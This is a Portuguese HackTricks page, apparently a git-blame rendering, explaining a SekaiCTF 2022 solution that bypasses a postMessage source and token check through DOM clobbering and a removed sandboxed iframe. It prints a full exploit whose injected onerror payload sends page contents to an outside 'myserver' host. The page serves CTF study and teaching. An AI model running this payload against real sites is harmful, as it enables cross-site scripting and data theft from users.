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hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

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Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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# Bypassing SOP com Iframes - 2
<details>
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
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* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
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* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
Translated to Portuguese
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## Iframes em SOP-2
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Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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Na [**solução**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafio**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propõe um método semelhante à seção anterior. Vamos verificar.
GitBook: [#3603] No subject
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Translated to Portuguese
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Neste desafio, o atacante precisa **burlar** isso:
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```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
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Se ele fizer isso, ele pode enviar um **postmessage** com conteúdo HTML que será escrito na página com **`innerHTML`** sem saneamento (**XSS**).
GitBook: [#3603] No subject
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A maneira de contornar a **primeira verificação** é tornando **`window.calc.contentWindow`** **`undefined`** e **`e.source`** **`null`**:
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Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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- **`window.calc.contentWindow`** é na verdade **`document.getElementById("calc")`**. Você pode sobrescrever **`document.getElementById`** com **`<img name=getElementById />`** (observe que a API Sanitizer -[aqui](https://wicg.github.io/sanitizer-api/#dom-clobbering)- não está configurada para proteger contra ataques de sobrescrita de DOM em seu estado padrão).
- Portanto, você pode sobrescrever **`document.getElementById("calc")`** com **`<img name=getElementById /><div id=calc></div>`**. Em seguida, **`window.calc`** será **`undefined`**.
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
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- Agora, precisamos que **`e.source`** seja **`undefined`** ou **`null`** (porque `==` é usado em vez de `===`, **`null == undefined`** é **`True`**). Conseguir isso é "fácil". Se você criar um **iframe** e **enviar** um **postMessage** dele e imediatamente **remover** o iframe, **`e.origin`** será **`null`**. Verifique o código a seguir
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```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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Para contornar a **segunda verificação** sobre o token é enviando **`token`** com o valor `null` e tornando o valor de **`window.token`** **`undefined`**:
GitBook: [#3603] No subject
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* Enviar `token` no postMessage com o valor `null` é trivial.
* **`window.token`** ao chamar a função **`getCookie`** que utiliza **`document.cookie`**. Note que qualquer acesso a **`document.cookie`** em páginas de origem **`null`** aciona um **erro**. Isso fará com que **`window.token`** tenha o valor **`undefined`**.
GitBook: [#3603] No subject
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Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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A solução final por [**@terjanq**](https://twitter.com/terjanq) é a [**seguinte**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
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```html
<html>
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
GitBook: [#3603] No subject
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</html>
```
<details>
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
2024-02-09 08:09:41 +00:00
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3603] No subject
2022-10-13 00:56:34 +00:00
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
2024-02-09 08:09:41 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
2024-02-09 08:09:41 +00:00
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:39:38 +00:00
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3603] No subject
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</details>
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